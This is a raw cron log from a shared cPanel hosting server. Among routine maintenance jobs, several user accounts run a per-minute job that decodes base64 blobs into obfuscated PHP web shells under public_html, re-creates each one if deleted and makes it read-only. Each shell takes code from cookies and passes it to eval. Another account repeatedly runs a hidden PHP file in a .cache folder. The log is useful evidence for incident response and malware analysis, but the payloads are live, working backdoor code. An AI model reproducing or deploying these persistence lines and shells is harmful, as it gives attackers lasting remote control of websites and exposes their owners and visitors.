Jun  7 09:18:01 medusa CROND[20983]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:18:01 medusa CROND[20985]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:18:01 medusa CROND[20986]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:18:01 medusa CROND[20987]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:19:01 medusa CROND[22879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:19:01 medusa CROND[22880]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:19:01 medusa CROND[22881]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:19:01 medusa CROND[22882]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 09:19:01 medusa CROND[22889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:19:01 medusa CROND[22890]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:19:01 medusa CROND[22891]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:19:01 medusa CROND[22892]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:19:01 medusa CROND[22894]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:19:01 medusa CROND[22893]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:19:01 medusa CROND[22895]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:19:01 medusa CROND[22897]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:20:01 medusa CROND[24515]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 09:20:02 medusa CROND[24534]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:20:02 medusa CROND[24535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 09:20:02 medusa CROND[24536]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 09:20:02 medusa CROND[24537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 09:20:02 medusa CROND[24538]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:20:02 medusa CROND[24540]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 09:20:02 medusa CROND[24542]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 09:20:02 medusa CROND[24544]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:20:02 medusa CROND[24543]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 09:20:02 medusa CROND[24554]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 09:20:02 medusa CROND[24551]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 09:20:02 medusa CROND[24553]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 09:20:02 medusa CROND[24548]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 09:20:02 medusa CROND[24555]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:20:02 medusa CROND[24552]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 09:20:02 medusa CROND[24560]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:20:02 medusa CROND[24563]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
